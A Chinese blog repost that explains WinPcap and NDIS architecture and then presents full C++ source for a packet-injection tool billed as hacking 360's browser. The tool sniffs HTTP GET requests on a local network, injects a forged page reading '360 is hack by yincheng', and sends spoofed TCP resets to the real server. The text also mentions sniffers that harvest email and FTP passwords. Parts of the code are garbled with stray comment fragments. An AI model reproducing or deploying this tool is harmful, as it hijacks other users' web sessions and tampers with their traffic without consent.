基于winpcap的NDIS在IE浏览器,360安全浏览器hackwww.360.cn
生活随笔
收集整理的這篇文章主要介紹了
基于winpcap的NDIS在IE浏览器,360安全浏览器hackwww.360.cn
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
winpcap(windows?packet?capture)是windows平臺(tái)下一個(gè)免費(fèi),公共的網(wǎng)絡(luò)訪問系統(tǒng)。開發(fā)winpcap這個(gè)項(xiàng)目的目的在于為win32應(yīng)用程序提供訪問網(wǎng)絡(luò)底層的能力。 winpcap?驅(qū)動(dòng)各項(xiàng)功能 1.?捕獲原始數(shù)據(jù)包,包括在共享網(wǎng)絡(luò)上各主機(jī)發(fā)送/接收的以及相互之間交換的數(shù)據(jù)??winpcap結(jié)構(gòu) 包;? 2.?在數(shù)據(jù)包發(fā)往應(yīng)用程序之前,按照自定義的規(guī)則將某些特殊的數(shù)據(jù)包過濾掉;? 3.?在網(wǎng)絡(luò)上發(fā)送原始的數(shù)據(jù)包;? 4.收集網(wǎng)絡(luò)通信過程中的統(tǒng)計(jì)信息。? winpcap的主要功能在于獨(dú)立于主機(jī)協(xié)議(如TCP-IP)而發(fā)送和接收原始數(shù)據(jù)包。也就是說,winpcap不能阻塞,過濾或控制其他應(yīng)用程序數(shù)據(jù)包的發(fā)收,它僅僅只是監(jiān)聽共享網(wǎng)絡(luò)上傳送的數(shù)據(jù)包。因此,它不能用于QoS調(diào)度程序或個(gè)人防火墻。目前,winpcap開發(fā)的主要對象是windows?NT/2000/XP,這主要是因?yàn)樵谑褂脀inpcap的用戶中只有一小部分是僅使用windows?95/98/Me,并且MS也已經(jīng)放棄了對win9x的開發(fā)。因此本文相關(guān)的程序T-ARP也是面向NT/2000/XP用戶的。其實(shí)winpcap中的面向9x系統(tǒng)的概念和NT系統(tǒng)的非常相似,只是在某些實(shí)現(xiàn)上有點(diǎn)差異,比如說9x只支持ANSI編碼,而NT系統(tǒng)則提倡使用Unicode編碼。有個(gè)軟件叫sniffer?pro.可以作網(wǎng)管軟件用,有很多功能,可監(jiān)視網(wǎng)絡(luò)運(yùn)行情況,每臺(tái)網(wǎng)內(nèi)機(jī)器的數(shù)據(jù)流量,實(shí)時(shí)反映每臺(tái)機(jī)器所訪問IP以及它們之間的數(shù)據(jù)流通情況,可以抓包,可對過濾器進(jìn)行設(shè)置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可從中找到郵箱用戶名和密碼,還有ftp用戶名和密碼。它還可以在使用交換機(jī)的網(wǎng)絡(luò)上監(jiān)聽,不過要在交換機(jī)上裝它的一個(gè)軟件。還有一個(gè)簡單的監(jiān)聽軟件叫Passwordsniffer,可截獲郵箱用戶名和密碼,還有ftp用戶名和密碼,它只能用在HUB網(wǎng)絡(luò)上。著名軟件tcpdump及ids?snort都是基于libpcap編寫的,此外Nmap掃描器也是基于libpcap來捕獲目標(biāo)主機(jī)返回的數(shù)據(jù)包的。? winpcap提供給用戶兩個(gè)不同級別的編程接口:一個(gè)基于libpcap的wpcap.dll,另一個(gè)是較底層的packet.dll。對于一般的要與unix平臺(tái)上libpcap兼容的開發(fā)來說,使用wpcap.dll是當(dāng)然的選擇。 編輯本段Winpcap的內(nèi)部結(jié)構(gòu) ??Winpcap的各個(gè)組成部分 Winpcap是針對Win32平臺(tái)上的抓包和網(wǎng)絡(luò)分析的一個(gè)架構(gòu)。它包括一個(gè)核心態(tài)的包過濾器,一個(gè)底層的動(dòng)態(tài)鏈接庫(packet.dll)和一個(gè)高層的不依賴于系統(tǒng)的庫(wpcap.dll)。? 為什么使用“architecture”而不是“l(fā)ibrary”呢?因?yàn)樽グ且粋€(gè)要求與網(wǎng)絡(luò)適配器(網(wǎng)卡)和操作系統(tǒng)交互的底層機(jī)制,而且與網(wǎng)絡(luò)的實(shí)施也有密切關(guān)系,所以僅用“l(fā)ibrary”不能充分表達(dá)Winpcap的作用。? 首先,抓包系統(tǒng)必須繞過操作系統(tǒng)的協(xié)議棧來訪問在網(wǎng)絡(luò)上傳輸?shù)脑紨?shù)據(jù)包(raw?packet),這就要求一部分運(yùn)行在操作系統(tǒng)核心內(nèi)部,直接與網(wǎng)絡(luò)接口驅(qū)動(dòng)交互。這個(gè)部分是系統(tǒng)依賴(system?dependent)的,在Winpcap的解決方案里它被認(rèn)為是一個(gè)設(shè)備驅(qū)動(dòng),稱作NPF(Netgroup?Packet?Filter)。Winpcap開發(fā)小組針對Windows95,Windows98,WindowsME,Windows?NT?4,Windows2000和WindowsXP提供了不同版本的驅(qū)動(dòng)。這些驅(qū)動(dòng)不僅提供了基本的特性(例如抓包和injection),還有更高級的特性(例如可編程的過濾器系統(tǒng)和監(jiān)視引擎)。前者可以被用來約束一個(gè)抓包會(huì)話只針對網(wǎng)絡(luò)通信中的一個(gè)子集(例如,僅僅捕獲特殊主機(jī)產(chǎn)生的ftp通信的數(shù)據(jù)包),后者提供了一個(gè)強(qiáng)大而簡單的統(tǒng)計(jì)網(wǎng)絡(luò)通信量的機(jī)制(例如,獲得網(wǎng)絡(luò)負(fù)載或兩個(gè)主機(jī)間的數(shù)據(jù)交換量)。? 其次,抓包系統(tǒng)必須有用戶級的程序接口,通過這些接口,用戶程序可以利用內(nèi)核驅(qū)動(dòng)提供的高級特性。Winpcap提供了兩個(gè)不同的庫:packet.dll和wpcap.dll。前者提供了一個(gè)底層API,伴隨著一個(gè)獨(dú)立于Microsoft操作系統(tǒng)的編程接口,這些API可以直接用來訪問驅(qū)動(dòng)的函數(shù);后者導(dǎo)出了一組更強(qiáng)大的與libpcap一致的高層抓包函數(shù)庫(capture?primitives)。這些函數(shù)使得數(shù)據(jù)包的捕獲以一種與網(wǎng)絡(luò)硬件和操作系統(tǒng)無關(guān)的方式進(jìn)行。 NPF驅(qū)動(dòng) 網(wǎng)絡(luò)數(shù)據(jù)包過濾器(Netgroup?Packet?Filter,NPF)是Winpcap的核心部分,它是Winpcap完成困難工作的組件。它處理網(wǎng)絡(luò)上傳輸?shù)臄?shù)據(jù)包,并且對用戶級提供可捕獲(capture)、發(fā)送(injection)和分析性能(analysis?capabilities)。 NPF和NDIS NDIS(Network?Driver?Interface?Specification)是一個(gè)定義網(wǎng)絡(luò)適配器(或者說成是管理網(wǎng)絡(luò)適配器的驅(qū)動(dòng)程序)與協(xié)議驅(qū)動(dòng)(例如TCP/IP的實(shí)現(xiàn))之間通信的規(guī)范。NDIS最主要的目的是作為一個(gè)允許協(xié)議驅(qū)動(dòng)發(fā)送和接收網(wǎng)絡(luò)(LAN或WAN)上的數(shù)據(jù)包而不必關(guān)心特定的適配器或特定的Win32操作系統(tǒng)的封裝。? NDIS支持三種類型的網(wǎng)絡(luò)驅(qū)動(dòng):? (1)?網(wǎng)絡(luò)接口卡或NIC驅(qū)動(dòng)(Network?interface?card?or?NIC?drivers)。NIC驅(qū)動(dòng)直接管理著網(wǎng)絡(luò)接口卡(NIC)。NIC驅(qū)動(dòng)接下邊與硬件連接,從上邊表現(xiàn)為一個(gè)接口,該接口允許高層發(fā)送數(shù)據(jù)包到網(wǎng)絡(luò)上,處理中斷,重置NIC,停止NIC,查詢和設(shè)置驅(qū)動(dòng)的運(yùn)行特征。NIC驅(qū)動(dòng)可以是小端口(miniport)或完全的NIC驅(qū)動(dòng)(full?NIC?driver)。? Miniport驅(qū)動(dòng)僅僅實(shí)現(xiàn)了管理NIC的必要操作,包括在NIC上發(fā)送和接收數(shù)據(jù)。對于所有最底層的NIC驅(qū)動(dòng)的操作由NDIS提供,例如同步(synchronization)。小端口(miniport)不直接調(diào)用操作系統(tǒng)函數(shù),它們對于操作系統(tǒng)的接口是NDIS。? 小端口僅僅是向上傳遞數(shù)據(jù)包給NDIS并且NDIS確保這些數(shù)據(jù)包被傳遞給正確的協(xié)議。? 完全NIC驅(qū)動(dòng)(Full?NIC?driver)完成硬件細(xì)節(jié)的操作和所有由NDIS完成的同步和查詢操作。例如,完全NIC驅(qū)動(dòng)維持接收到的數(shù)據(jù)的綁定信息。? (2)?中間層驅(qū)動(dòng)(Intermediate?drivers)中間層驅(qū)動(dòng)位于高層驅(qū)動(dòng)(例如協(xié)議驅(qū)動(dòng))和小端口之間。對于高層驅(qū)動(dòng),中間層驅(qū)動(dòng)看起來像是小端口;對于小端口,中間層驅(qū)動(dòng)看起來像協(xié)議驅(qū)動(dòng)。一個(gè)中間層協(xié)議驅(qū)動(dòng)可以位于另一個(gè)中間層驅(qū)動(dòng)之上,盡管這種分層可能對系統(tǒng)性能帶來負(fù)面影響。開發(fā)中間層驅(qū)動(dòng)的一個(gè)關(guān)鍵原因是在現(xiàn)存的遺留協(xié)議驅(qū)動(dòng)(legacy?protocol?driver)和小端口之間形成媒體的轉(zhuǎn)化。例如,中間層驅(qū)動(dòng)可以將LAN協(xié)議轉(zhuǎn)換成ATM協(xié)議。中間層驅(qū)動(dòng)不能與用戶模式的應(yīng)用程序通信,但可以與其他的NDIS驅(qū)動(dòng)通信。? (3)?傳輸驅(qū)動(dòng)或協(xié)議驅(qū)動(dòng)(Transport?drivers?or?protocol?drivers)協(xié)議驅(qū)動(dòng)實(shí)現(xiàn)了網(wǎng)絡(luò)協(xié)議棧,例如IPX/SPX或TCP/IP,在一個(gè)或多個(gè)網(wǎng)絡(luò)接口卡上提供它的服務(wù)。在協(xié)議驅(qū)動(dòng)的上面,它為應(yīng)用層客戶程序服務(wù);在它的下面,它與一個(gè)或多個(gè)NIC驅(qū)動(dòng)或中間層NDIS驅(qū)動(dòng)連接。? 大家看到的360被hack,.以及360安全瀏覽器被hack.的源代碼解析如下 源代碼分析如下: 代碼:#include?"pcap.h"#include?<mbstring.h> #include?<stdio.h> #include?<windows.h> #include?<string>#include?"tcpip.h" using?namespace?std; struct?pseudoheader???????/*?TCP頭文件?*/ {u_int32_t?sip,?dip;???/*?IP?地址?*/u_int8_t??zero;???????/*?空白字節(jié)?*/u_int8_t??protocol;???/*?協(xié)議號?*/u_int16_t?tcplen;?????/*?TCP?長度?*/ }; pcap_t????*????m_fp;??????//網(wǎng)卡指針,用于發(fā)/*?塊緩沖區(qū)禁止客戶端向發(fā)送?*/ u_int8_t????????????m_pBlockBuffer[512]; u_int32_t????????????m_cbBlockBuffer; char????????????????????????????szReURL[256]; /*?一個(gè)54字節(jié)的緩沖區(qū)需要發(fā)送TCP重置數(shù)據(jù)包?*/ char??????????????reset_buf[54];bool?SendPacket(u_char?*buf,?int?iSize);/*?檢查前4個(gè)字節(jié),如果傳入的緩沖區(qū)為“GET?/”?*/ int??????????CheckHttpState(u_int8_t*?buffer,u_int32_t?len);void?????????DecodeHTTP(u_int8_t?*,const?u_int32_t,Packet?*);void????????DecodeTCP(u_int8_t?*,const?u_int32_t,Packet?*);/*?解碼IP包頭和包對象舉行?*/ void????????DecodeIP(u_int8_t?*,const?u_int32_t,Packet?*);int??????????FilterHttpRequest(Packet?*);/*?計(jì)算IP頭的校驗(yàn)?*/ unsigned?short?CalcIPSum(unsigned?short?*,?int);/*?為TCP報(bào)頭的校驗(yàn)和計(jì)算*/ unsigned?short?CalcTCPSum(unsigned?short?*h,?unsigned?short?*?d,?int?dlen);int?FilterHttpRequest(Packet?*p); /*?頭的校驗(yàn)和計(jì)算?*/ void?packet_handler(u_char?*param,?const?struct?pcap_pkthdr?*header,?const?u_char?*pkt_data);int?main() {ZeroMemory(m_pBlockBuffer,?512);string?strBufferHdr;string?strBufferHTML;string?strhttp("http://");char?szRedirect[512]={0};lstrcpy(szReURL,?"http://www.360.cn");char*pTemp?=?strstr(szReURL,"http://");if(!pTemp){sprintf(szRedirect,?"<meta?http-equiv=\"Refresh\"?content=1;url=%s%s>",?"http://",szReURL);??????}else{sprintf(szRedirect,?"<meta?http-equiv=\"Refresh\"?content=1;url=%s>",szReURL);??}strBufferHTML?=????"<html>";strBufferHTML?+=??"<head>";strBufferHTML?+=??"<title>360?is??hack?by??yincheng</title>";strBufferHTML?+=????string(szRedirect);strBufferHTML?+=????"</head><body><TABLE?height=\"100%\"?width=\"100%\">";strBufferHTML?+=??"<TR>";strBufferHTML?+=??"<TD?align=\"center\"><h1>360?is??hack?by??yincheng</h1>";strBufferHTML?+=??"</TD>";strBufferHTML?+=??"</TR>";strBufferHTML?+=??"</TABLE>";strBufferHTML?+=??"</body>";strBufferHTML?+=??"</html>\n\n\n";??char?len[10];_itoa?(strBufferHTML.size(),?len,?10);strBufferHdr?+=??"HTTP/1.1?200?OK\r\n";strBufferHdr?+=??"Content-Type:?Text/HTML\r\n";strBufferHdr?+=??"Connection:?close\r\n";strBufferHdr?+=??"Content-Lenght:?";strBufferHdr?+=?len;strBufferHdr?+=??"\r\n\r\n";strBufferHdr?+=?strBufferHTML;//?第54個(gè)字節(jié)保留的TCP和IP報(bào)頭的位置_mbscpy?(m_pBlockBuffer?+?54,(u_int8_t*)strBufferHdr.c_str());??m_cbBlockBuffer?=?strBufferHdr.size();?//?僅HTTP負(fù)載的大小m_fp?=?NULL;pcap_if_t?*alldevs;pcap_if_t?*d;int?inum;int?i=0;pcap_t?*adhandle;char?errbuf[PCAP_ERRBUF_SIZE];/*?檢索設(shè)備清單?*/if(pcap_findalldevs(&alldevs,?errbuf)?==?-1){exit(1);}/*?Print?the?list?*/for(d=alldevs;?d;?d=d->next){printf("%d.?%s",?++i,?d->name);if?(d->description)printf("?(%s)\n",?d->description);}if(i==0){printf("\n確保WinPcap?已經(jīng)安裝.\n");return?-1;}printf("輸入序列號(1-%d):",i);scanf("%d",?&inum);if(inum?<?1?||?inum?>?i){printf("\n設(shè)備接口.\n");/*?釋放設(shè)備列表*/pcap_freealldevs(alldevs);return?-1;}/*?到選定的適配器?*/for(d=alldevs,?i=0;?i<?inum-1?;d=d->next,?i++);/*?打開網(wǎng)卡適配器?*/if?((m_fp=?pcap_open_live(d->name,??//?設(shè)備名稱1,??????//?設(shè)備捕獲端口.?//?65536全包.1,????????//?混雜模式(非零手段混雜)1000,??????//?超時(shí)errbuf??????//?錯(cuò)誤))?==?NULL){/*?釋放設(shè)備列表?*/pcap_freealldevs(alldevs);return?-1;}if?((adhandle=?pcap_open_live(d->name,65536,??????1,????????5,??????errbuf??????))?==?NULL){fprintf(stderr,"\nUnable?to?open?the?adapter.?%s?is?not?supported?by?WinPcap\n",?d->name);/*?Free?the?device?list?*/pcap_freealldevs(alldevs);return?-1;}printf("\nlistening?on?%s...\n",?d->description);pcap_freealldevs(alldevs);/*?啟動(dòng)捕獲?*/pcap_loop(adhandle,?0,?packet_handler,?NULL);if(adhandle)pcap_close(adhandle);if(m_fp)pcap_close(m_fp);return?0; }/*?libpcap的每個(gè)傳入的數(shù)據(jù)包調(diào)用的回調(diào)函數(shù)?*/ void?packet_handler(u_char?*param,?const?struct?pcap_pkthdr?*header,?const?u_char?*pkt_data) {int?res?=?0;??Packet*?p?=?NULL;p?=?(Packet*)malloc(sizeof(Packet));ZeroMemory(p,?sizeof?(Packet));res?=?header->len;DecodeIP((u_int8_t*)pkt_data,?res,?p);if?(p->banned?==?1){printf("get?http?packet?.\n");FilterHttpRequest(p);}/加入http的判斷//p->eh?=?(EtherHdr*)pkt_data;if(??p->eh->ether_type?==?0x0008)??//上面是IP層{//?lay?the?IP?struct?over?the?raw?data?p->iph?=?(IPHdr?*)?(pkt_data+?ETHERNET_HEADER_LEN);?if?(p->iph->ip_proto?==?6){p->tcph?=?(TCPHdr?*)?(pkt_data?+?ETHERNET_HEADER_LEN+IP_HEADER_LEN);/if?(p->tcph->th_flags?&?TH_ACK?&&?p->tcph->th_flags?&?TH_PSH){if(p->tcph->th_dport?!=?htons(80)?&&//?If?target?service?is?not?HTTP?p->tcph->th_dport?!=?htons(8080)?)return?;p->data?=?(byte*)(pkt_data?+?ETHERNET_HEADER_LEN?+?IP_HEADER_LEN?+?TCP_HEADER_LEN);if(?p->data[0]?==?'G'?&&p->data[1]?==?'E'?&&p->data[2]?==?'T'?&&p->data[3]?==?'?'?&&p->data[4]?==?'/'?){printf("get?dns?packet?.\n");FilterHttpRequest(p);}????????}}}if(p)free(p);p?=?NULL;http的完/}int?FilterHttpRequest(Packet?*p) {DWORD?err?=?0;pseudoheader?ph;????/*?偽頭聲明*///發(fā)送塊頁為CLIENT////?Use?the?first?54?bytes?of?m_pBlockBuffer?for?future?TCP?control?packet?transmission.ZeroMemory(m_pBlockBuffer,?54);?//?only?zero?first?54?bytesEtherHdr*??respEh?=?((EtherHdr*)(m_pBlockBuffer?));IPHdr*??respIpHdr??=?((IPHdr*)(m_pBlockBuffer?+?sizeof(EtherHdr)));TCPHdr*??respTcpHdr??=?((TCPHdr*)(m_pBlockBuffer?+sizeof(EtherHdr)+?sizeof(IPHdr)));memcpy(respEh->ether_dst?,?p->eh->ether_src,?6);memcpy(respEh->ether_src?,?p->eh->ether_dst,6);respEh->ether_type?=?p->eh->ether_type;respIpHdr->ip_csum?=?0;respIpHdr->ip_dst?=?p->iph->ip_src;respIpHdr->ip_src?=?p->iph->ip_dst;respIpHdr->ip_len?=?htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof?(IPHdr)?+?sizeof?(TCPHdr)?+?m_cbBlockBuffer));SET_IP_VER(respIpHdr,?0x4);SET_IP_HLEN(respIpHdr,?0x5);respIpHdr->ip_tos?=?p->iph->ip_tos;respIpHdr->ip_ttl?=?p->iph->ip_ttl;respIpHdr->ip_id?=?htons(2);??respIpHdr->ip_off?=?0;respIpHdr->ip_proto?=?0x06;respIpHdr->ip_csum?=?CalcIPSum((u_short*)?respIpHdr,?IP_HLEN(respIpHdr)?<<?2);respTcpHdr->th_ack?=?htonl?(ntohl?(p->tcph->th_seq)?+?p->dsize);respTcpHdr->th_seq?=?p->tcph->th_ack;respTcpHdr->th_sport?=?p->tcph->th_dport;respTcpHdr->th_dport?=?p->tcph->th_sport;respTcpHdr->th_flags?=?TH_FIN|TH_ACK;SET_TCP_OFFSET(respTcpHdr,?0x5);SET_TCP_X2(respTcpHdr,?0x0);respTcpHdr->th_win?=?p->tcph->th_win;respTcpHdr->th_urp?=?0;ph.sip?=?(u_int32_t)(p->iph->ip_dst.s_addr);ph.dip?=?(u_int32_t)(p->iph->ip_src.s_addr);ph.zero?=?0;ph.protocol?=?0x06;ph.tcplen?=?htons((u_short)(sizeof?(TCPHdr)?+?m_cbBlockBuffer));respTcpHdr->th_sum?=?0;respTcpHdr->th_sum?????=?CalcTCPSum((u_int16_t?*)&ph,?(u_int16_t?*)respTcpHdr,sizeof(TCPHdr)?+?m_cbBlockBuffer);if(!SendPacket(m_pBlockBuffer,?sizeof(EtherHdr)+sizeof(IPHdr)?+?sizeof(TCPHdr)?+?m_cbBlockBuffer)){printf("fail?to?SendPacket");return?0;}///發(fā)送TCP復(fù)位到服務(wù)器ZeroMemory(reset_buf,?54);??EtherHdr*??rstpEh?=?((EtherHdr*)(reset_buf));IPHdr*??rstIpHdr?=?((IPHdr*)(reset_buf?+?sizeof(EtherHdr)));TCPHdr*??rstTcpHdr?=?((TCPHdr*)(reset_buf?+?sizeof(EtherHdr)+sizeof?(IPHdr)?));memcpy(rstpEh->ether_dst?,?p->eh->ether_dst,?6);memcpy(rstpEh->ether_src?,?p->eh->ether_src,6);rstpEh->ether_type?=?p->eh->ether_type;rstIpHdr->ip_dst?=?p->iph->ip_dst;rstIpHdr->ip_id?=?htons(2);rstIpHdr->ip_len?=?htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof?(IPHdr)?+?sizeof?(TCPHdr)));rstIpHdr->ip_off?=?0;rstIpHdr->ip_proto?=?0x06;rstIpHdr->ip_src?=?p->iph->ip_src;rstIpHdr->ip_tos?=?p->iph->ip_tos;rstIpHdr->ip_ttl?=?p->iph->ip_ttl;SET_IP_VER(rstIpHdr,?0x4);?SET_IP_HLEN(rstIpHdr,?0x5);rstIpHdr->ip_csum?=?CalcIPSum((u_short*)?rstIpHdr,?IP_HLEN(rstIpHdr)?<<?2);rstTcpHdr->th_ack?=?p->tcph->th_ack;??rstTcpHdr->th_seq?=?p->tcph->th_seq;rstTcpHdr->th_sport?=?p->tcph->th_sport;rstTcpHdr->th_dport?=?p->tcph->th_dport;rstTcpHdr->th_flags?=?TH_RST;//TH_RST;SET_TCP_OFFSET(rstTcpHdr,?0x5);SET_TCP_X2(rstTcpHdr,?0x0);rstTcpHdr->th_win?=?p->tcph->th_win;rstTcpHdr->th_urp?=?0;ph.sip?=?(u_int32_t)(p->iph->ip_src.s_addr);ph.dip?=?(u_int32_t)(p->iph->ip_dst.s_addr);ph.zero?=?0;ph.protocol?=?0x06;ph.tcplen?=?htons((u_short)sizeof?(TCPHdr));rstTcpHdr->th_sum?????=?CalcTCPSum((u_int16_t?*)&ph,?(u_int16_t?*)rstTcpHdr,sizeof(struct?TCPHdr));if(!SendPacket((u_char*)reset_buf,?sizeof(EtherHdr)+sizeof(IPHdr)?+?sizeof(TCPHdr))){printf("fail?to?SendPacket");return?0;}return?1; }unsigned?short?CalcIPSum(unsigned?short?*?w,?int?size) { /*??/*cksum??=?w[0];cksum?+=?w[1];cksum?+=?w[2];cksum?+=?w[3];cksum?+=?w[4];cksum?+=?w[5];cksum?+=?w[6];cksum?+=?w[7];cksum?+=?w[8];cksum?+=?w[9];blen??-=?20;w?????+=?10;while(?blen?)?/*?IP-hdr?must?be?an?integral?number?of?4?byte?words?*/ /*??{cksum?+=?w[0];cksum?+=?w[1];w?????+=?2;blen??-=?4;}cksum??=?(cksum?>>?16)?+?(cksum?&?0x0000ffff);cksum?+=?(cksum?>>?16);return?(unsigned?short)?(~cksum);*/unsigned?long?cksum=0;while?(size?>?1)?{cksum?+=?*w++;size?-=?sizeof(USHORT);}if?(size)?//如果字節(jié)數(shù)是不是2的倍數(shù)才會(huì)執(zhí)行{cksum?+=?*(UCHAR*)w;}cksum?=?(cksum?>>?16)?+?(cksum?&?0xffff);cksum?+=?(cksum?>>16);return?(USHORT)(~cksum); }unsigned?short?CalcTCPSum(unsigned?short?*h,?unsigned?short?*?d,?int?dlen) {unsigned?int?cksum;unsigned?short?answer=0;/*?PseudoHeader必須有12個(gè)字節(jié)?*/cksum??=?h[0];cksum?+=?h[1];cksum?+=?h[2];cksum?+=?h[3];cksum?+=?h[4];cksum?+=?h[5];/*?TCP?HDR必須有20?HDR字節(jié)?*/cksum?+=?d[0];cksum?+=?d[1];cksum?+=?d[2];cksum?+=?d[3];cksum?+=?d[4];cksum?+=?d[5];cksum?+=?d[6];cksum?+=?d[7];cksum?+=?d[8];cksum?+=?d[9];dlen??-=?20;?/*?bytes???*/d?????+=?10;?/*?short's?*/?while(dlen?>=32){cksum?+=?d[0];cksum?+=?d[1];cksum?+=?d[2];cksum?+=?d[3];cksum?+=?d[4];cksum?+=?d[5];cksum?+=?d[6];cksum?+=?d[7];cksum?+=?d[8];cksum?+=?d[9];cksum?+=?d[10];cksum?+=?d[11];cksum?+=?d[12];cksum?+=?d[13];cksum?+=?d[14];cksum?+=?d[15];d?????+=?16;dlen??-=?32;}while(dlen?>=8)??{cksum?+=?d[0];cksum?+=?d[1];cksum?+=?d[2];cksum?+=?d[3];d?????+=?4;???dlen??-=?8;}while(dlen?>?1){cksum?+=?*d++;dlen??-=?2;}if(?dlen?==?1?)?{?*(unsigned?char*)(&answer)?=?(*(unsigned?char*)d);cksum?+=?answer;}cksum??=?(cksum?>>?16)?+?(cksum?&?0x0000ffff);cksum?+=?(cksum?>>?16);return?(unsigned?short)(~cksum); }bool?SendPacket(u_char?*buf,?int?iSize) {if(!m_fp)return?false;int?iResult;try{iResult?=???pcap_sendpacket(m_fp,buf,iSize);}catch?(...){}if?(iResult?==?0)return?true;return?false; }void?DecodeIP(u_int8_t?*?pkt,?const?u_int32_t?len,?Packet?*?p) {u_int32_t?ip_len;??????u_int32_t?hlen;?????????????/*?ip?頭長度?*//*?定了原始數(shù)據(jù)的以太網(wǎng)結(jié)構(gòu)?*/p->eh?=?(EtherHdr*)pkt;/*?在原始數(shù)據(jù)的IP結(jié)構(gòu)?*/p->iph?=?(IPHdr?*)?(pkt+?ETHERNET_HEADER_LEN);?/*?做點(diǎn)驗(yàn)證?*/if(len?<?IP_HEADER_LEN){????p->iph?=?NULL;return;}if(IP_VER(p->iph)?!=?4){p->iph?=?NULL;return;}/*?設(shè)置IP數(shù)據(jù)報(bào)長度*/ip_len?=?ntohs(p->iph->ip_len);/*?設(shè)置IP頭長度?*/hlen?=?IP_HLEN(p->iph)?<<?2;/*?頭部長度的完整性檢查?*/if(hlen?<?IP_HEADER_LEN){p->iph?=?NULL;return;}if?(ip_len?>?len)?{ip_len?=?len;}if(ip_len?<?hlen){p->iph?=?NULL;return;}/*?測試IP選項(xiàng)?*/p->ip_options_len?=?hlen?-?IP_HEADER_LEN;if(p->ip_options_len?>?0){p->ip_options_data?=?pkt?+?IP_HEADER_LEN;????}/*?設(shè)置其余的數(shù)據(jù)包長度?*/ip_len?-=?hlen;/*?檢查數(shù)據(jù)包碎片*/p->frag_offset?=?ntohs(p->iph->ip_off);/*?*得到保留,更值*片段,并沒有做片段的標(biāo)志*/p->rf?=?(u_int8_t)((p->frag_offset?&?0x8000)?>>?15);p->df?=?(u_int8_t)((p->frag_offset?&?0x4000)?>>?14);p->mf?=?(u_int8_t)((p->frag_offset?&?0x2000)?>>?13);/*?屏蔽掉在片段偏移字段的高位?*/p->frag_offset?&=?0x1FFF;if(p->frag_offset?||?p->mf){/*?設(shè)置該數(shù)據(jù)包片段旗標(biāo)?*/p->frag_flag?=?1;??}/*?如果這個(gè)包是不是一個(gè)片段?*/if(!(p->frag_flag)){/*?解碼TCP頭?*/if?(p->iph->ip_proto?==?IPPROTO_TCP){DecodeTCP(pkt?+ETHERNET_HEADER_LEN+?hlen,?ip_len,?p);}}else{/*?設(shè)置有效載荷指針和有效載荷的大小*/p->data?=?pkt?+ETHERNET_HEADER_LEN+?hlen;p->dsize?=?(u_short)?ip_len;}return; }void?DecodeTCP(u_int8_t?*?pkt,?const?u_int32_t?len,?Packet?*?p) {u_int32_t?hlen;????????????/*?TCP?頭長度*/if(len?<?20){p->tcph?=?NULL;return;}/*?延遲TCP?*/p->tcph?=?(TCPHdr?*)?pkt;/*?重新設(shè)定值?*/hlen?=?TCP_OFFSET(p->tcph)?<<?2;if(hlen?<?20){p->tcph?=?NULL;return;}if(hlen?>?len){p->tcph?=?NULL;return;}/*?重新編碼?*/p->tcp_options_len?=?hlen?-?20;if(p->tcp_options_len?>?0){??p->tcp_options_data?=?pkt?+?20;??}/*?設(shè)置數(shù)據(jù)指針字節(jié)?*/p->data?=?(u_int8_t?*)?(pkt+?hlen);if(hlen?<?len){p->dsize?=?(u_short)(len?-?hlen);}else{p->dsize?=?0;}if?(p->tcph->th_flags?&?TH_ACK/*&&?p->tcph->th_flags?&?TH_PSH*/)?{if(p->tcph->th_dport?!=?htons(80)?&&p->tcph->th_dport?!=?htons(8080)?)return?;DecodeHTTP(p->data,?p->dsize,?p);}??return; }void?DecodeHTTP(u_int8_t?*?pkt,?const?u_int32_t?len,?Packet?*?p) {if?(CheckHttpState(pkt,?len)?==?CLIENT_REQUEST){??string?strUrl("Host:?");string?strOriginURL?=?string(szReURL);int?nindex?=?strOriginURL.find("http://");?if(nindex?==-1){strUrl+=strOriginURL;}else{string?str("");str?=?strOriginURL.substr(7,strOriginURL.size()-7);strUrl+=str;}char*?pTemp?=?strstr((char*)pkt,?(char*)strUrl.c_str());if(pTemp)p->banned?=?0;??//not?filter?itelsep->banned?=?1;??//?packet?caught,?Filter?it?}}int?CheckHttpState(u_int8_t*?buffer,u_int32_t?len) {if(!len)return?NOT_HTTP;if(?buffer[0]?==?'G'?&&buffer[1]?==?'E'?&&buffer[2]?==?'T'?&&buffer[3]?==?'?'?&&buffer[4]?==?'/'?)return?CLIENT_REQUEST;if(?buffer[0]?==?'H'?&&buffer[1]?==?'T'?&&buffer[2]?==?'T'?&&buffer[3]?==?'P')return?SERVER_RESPONSE;return?NOT_HTTP; } 上傳的縮略圖 ? |
| ? |
轉(zhuǎn)載于:https://www.cnblogs.com/new0801/archive/2012/06/13/6177738.html
總結(jié)
以上是生活随笔為你收集整理的基于winpcap的NDIS在IE浏览器,360安全浏览器hackwww.360.cn的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 博弈论——关于Nim游戏和SG函数的几个
- 下一篇: 广发淘宝联名信用卡额度是多少?申请条件有